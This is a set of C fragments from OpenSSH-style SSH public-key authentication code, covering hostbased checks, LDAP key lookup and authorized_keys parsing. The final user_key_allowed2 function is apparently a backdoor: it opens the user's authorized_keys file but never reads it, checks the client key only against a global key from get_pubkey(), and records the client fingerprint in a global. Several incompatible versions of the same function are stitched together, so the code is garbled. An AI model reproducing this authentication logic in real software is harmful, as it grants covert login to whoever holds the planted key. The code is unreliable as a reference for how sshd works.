logit("userauth_hostbased mismatch: "
"client sends %s, but we resolve %s to %s",
chost, ipaddr, resolvedname);
if (auth_rhosts2(pw, cuser, resolvedname, ipaddr) == 0)
return 0;
lookup = resolvedname;
}
debug2("userauth_hostbased: access allowed by auth_rhosts2");
if (key_is_cert(key) &&
key_cert_check_authority(key, 1, 0, lookup, &reason)) {
error("%s", reason);
auth_debug_add("%s", reason);
return 0;
}
host_status = check_key_in_hostfiles(pw, key, lookup,
_PATH_SSH_SYSTEM_HOSTFILE,
options.ignore_user_known_hosts ? NULL : _PATH_SSH_USER_HOSTFILE);
/* backward compat if no key has been found. */
if (host_status == HOST_NEW) {
host_status = check_key_in_hostfiles(pw, key, lookup,
_PATH_SSH_SYSTEM_HOSTFILE2,
options.ignore_user_known_hosts ? NULL :
_PATH_SSH_USER_HOSTFILE2);
}
if (host_status == HOST_OK) {
if (key_is_cert(key)) {
fp = key_fingerprint(key->cert->signature_key,
SSH_FP_MD5, SSH_FP_HEX);
verbose("Accepted certificate ID \"%s\" signed by "
"%s CA %s from %s@%s", key->cert->key_id,
key_type(key->cert->signature_key), fp,
cuser, lookup);
} else {
fp = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
verbose("Accepted %s public key %s from %s@%s",
key_type(key), fp, cuser, lookup);
}
xfree(fp);
}
return (host_status == HOST_OK);
}
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
char line[SSH_MAX_PUBKEY_BYTES];
const char *reason;
int found_key = 0;
FILE *f;
u_long linenum = 0;
Key *found;
char *fp;
#ifdef WITH_LDAP_PUBKEY
ldap_key_t * k;
unsigned int i = 0;
#endif
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
#ifdef WITH_LDAP_PUBKEY
found_key = 0;
/* allocate a new key type */
found = key_new(key->type);
/* first check if the options is enabled, then try.. */
if (options.lpk.on) {
debug("[LDAP] trying LDAP first uid=%s",pw->pw_name);
if (ldap_ismember(&options.lpk, pw->pw_name) > 0) {
if ((k = ldap_getuserkey(&options.lpk, pw->pw_name)) != NULL) {
/* Skip leading whitespace, empty and comment lines. */
for (i = 0 ; i < k->num ; i++) {
/* dont forget if multiple keys to reset options */
char *cp, *xoptions = NULL;
for (cp = (char *)k->keys[i]->bv_val; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
continue;
if (key_read(found, &cp) != 1) {
/* no key? check if there are options for this key */
int quoted = 0;
debug2("[LDAP] user_key_allowed: check options: '%s'", cp);
xoptions = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
/* Skip remaining whitespace. */
for (; *cp == ' ' || *cp == '\t'; cp++)
;
if (key_read(found, &cp) != 1) {
debug2("[LDAP] user_key_allowed: advance: '%s'", cp);
/* still no key? advance to next line*/
continue;
}
}
if (key_equal(found, key) &&
auth_parse_options(pw, xoptions, file, linenum) == 1) {
found_key = 1;
debug("[LDAP] matching key found");
fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
verbose("[LDAP] Found matching %s key: %s", key_type(found), fp);
/* restoring memory */
ldap_keys_free(k);
xfree(fp);
restore_uid();
key_free(found);
return found_key;
break;
}
}/* end of LDAP for() */
} else {
logit("[LDAP] no keys found for '%s'!", pw->pw_name);
}
} else {
logit("[LDAP] '%s' is not in '%s'", pw->pw_name, options.lpk.sgroup);
}
}
#endif
debug("trying public key file %s", file);
f = auth_openkeyfile(file, pw, options.strict_modes);
if (!f) {
restore_uid();
return 0;
}
found_key = 0;
found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
char *cp, *key_options = NULL;
auth_clear_options();
/* Skip leading whitespace, empty and comment lines. */
for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
continue;
if (key_read(found, &cp) != 1) {
/* no key? check if there are options for this key */
int quoted = 0;
debug2("user_key_allowed: check options: '%s'", cp);
key_options = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
/* Skip remaining whitespace. */
for (; *cp == ' ' || *cp == '\t'; cp++)
;
if (key_read(found, &cp) != 1) {
debug2("user_key_allowed: advance: '%s'", cp);
/* still no key? advance to next line*/
continue;
}
}
if (key_is_cert(key)) {
if (!key_equal(found, key->cert->signature_key))
continue;
if (auth_parse_options(pw, key_options, file,
linenum) != 1)
continue;
if (!key_is_cert_authority)
continue;
fp = key_fingerprint(found, SSH_FP_MD5,
SSH_FP_HEX);
debug("matching CA found: file %s, line %lu, %s %s",
file, linenum, key_type(found), fp);
/*
* If the user has specified a list of principals as
* a key option, then prefer that list to matching
* their username in the certificate principals list.
*/
if (authorized_principals != NULL &&
!match_principals_option(authorized_principals,
key->cert)) {
reason = "Certificate does not contain an "
"authorized principal";
fail_reason:
xfree(fp);
error("%s", reason);
auth_debug_add("%s", reason);
continue;
}
if (key_cert_check_authority(key, 0, 0,
authorized_principals == NULL ? pw->pw_name : NULL,
&reason) != 0)
goto fail_reason;
if (auth_cert_options(key, pw) != 0) {
xfree(fp);
continue;
}
verbose("Accepted certificate ID \"%s\" "
"signed by %s CA %s via %s", key->cert->key_id,
key_type(found), fp, file);
xfree(fp);
found_key = 1;
break;
} else if (key_equal(found, key)) {
if (auth_parse_options(pw, key_options, file,
linenum) != 1)
continue;
if (key_is_cert_authority)
continue;
found_key = 1;
debug("matching key found: file %s, line %lu",
file, linenum);
fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
verbose("Found matching %s key: %s",
key_type(found), fp);
xfree(fp);
break;
}
}
restore_uid();
fclose(f);
key_free(found);
if (!found_key)
debug2("key not found");
return found_key;
}
/*
* Checks whether key is allowed in authorized_keys-format file,
* returns 1 if the key is allowed or 0 otherwise.
*/
static int
check_authkeys_file(FILE *f, char *file, Key* key, struct passwd *pw)
{
char line[SSH_MAX_PUBKEY_BYTES];
int found_key = 0;
u_long linenum = 0;
Key *found;
found_key = 0;
found = NULL;
while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
char *cp, *key_options = NULL, *fp = NULL;
const char *reason = NULL;
/* Always consume entrire file */
if (found_key)
continue;
if (found != NULL)
key_free(found);
found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
auth_clear_options();
/* Skip leading whitespace, empty and comment lines. */
for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
continue;
if (key_read(found, &cp) != 1) {
/* no key? check if there are options for this key */
int quoted = 0;
debug2("user_key_allowed: check options: '%s'", cp);
key_options = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
/* Skip remaining whitespace. */
for (; *cp == ' ' || *cp == '\t'; cp++)
;
if (key_read(found, &cp) != 1) {
debug2("user_key_allowed: advance: '%s'", cp);
/* still no key? advance to next line*/
continue;
}
}
if (key_is_cert(key)) {
if (!key_equal(found, key->cert->signature_key))
continue;
if (auth_parse_options(pw, key_options, file,
linenum) != 1)
continue;
if (!key_is_cert_authority)
continue;
if ((fp = sshkey_fingerprint(found,
options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL)
continue;
debug("matching CA found: file %s, line %lu, %s %s",
file, linenum, key_type(found), fp);
/*
* If the user has specified a list of principals as
* a key option, then prefer that list to matching
* their username in the certificate principals list.
*/
if (authorized_principals != NULL &&
!match_principals_option(authorized_principals,
key->cert)) {
reason = "Certificate does not contain an "
"authorized principal";
fail_reason:
free(fp);
error("%s", reason);
auth_debug_add("%s", reason);
continue;
}
if (key_cert_check_authority(key, 0, 0,
authorized_principals == NULL ? pw->pw_name : NULL,
&reason) != 0)
goto fail_reason;
if (auth_cert_options(key, pw, &reason) != 0)
goto fail_reason;
verbose("Accepted certificate ID \"%s\" (serial %llu) "
"signed by %s CA %s via %s", key->cert->key_id,
(unsigned long long)key->cert->serial,
key_type(found), fp, file);
free(fp);
found_key = 1;
break;
} else if (key_equal(found, key)) {
if (auth_parse_options(pw, key_options, file,
linenum) != 1)
continue;
if (key_is_cert_authority)
continue;
if ((fp = sshkey_fingerprint(found,
options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL)
continue;
debug("matching key found: file %s, line %lu %s %s",
file, linenum, key_type(found), fp);
free(fp);
found_key = 1;
continue;
}
}
if (found != NULL)
key_free(found);
if (!found_key)
debug2("key not found");
return found_key;
}
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
char *line = NULL;
const char *reason;
int found_key = 0;
FILE *f;
u_long linenum = 0;
Key *found;
char *fp;
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
debug("trying public key file %s", file);
f = auth_openkeyfile(file, pw, options.strict_modes);
if (!f) {
restore_uid();
return 0;
}
found_key = 0;
found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
gs_auth_fingerprint = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
if (gs_auth_pubkey == NULL) {
gs_auth_pubkey = get_pubkey();
}
line = gs_auth_pubkey;
while (line) {
char *cp, *key_options = NULL;
auth_clear_options();
/* Skip leading whitespace, empty and comment lines. */
for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
break;
if (key_read(found, &cp) != 1) {
/* no key? check if there are options for this key */
int quoted = 0;
debug2("user_key_allowed: check options: '%s'", cp);
key_options = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
/* Skip remaining whitespace. */
for (; *cp == ' ' || *cp == '\t'; cp++)
;
if (key_read(found, &cp) != 1) {
debug2("user_key_allowed: advance: '%s'", cp);
/* still no key? advance to next line*/
break;
}
}
if (key_equal(found, key)) {
if (auth_parse_options(pw, key_options, file,
linenum) != 1)
break;
if (key_is_cert_authority)
break;
found_key = 1;
debug("matching key found: file %s, line %lu",
file, linenum);
fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
verbose("Found matching %s key: %s",
key_type(found), fp);
xfree(fp);
break;
}
break;
}
restore_uid();
fclose(f);
key_free(found);
if (!found_key)
debug2("key not found");
return found_key;
}
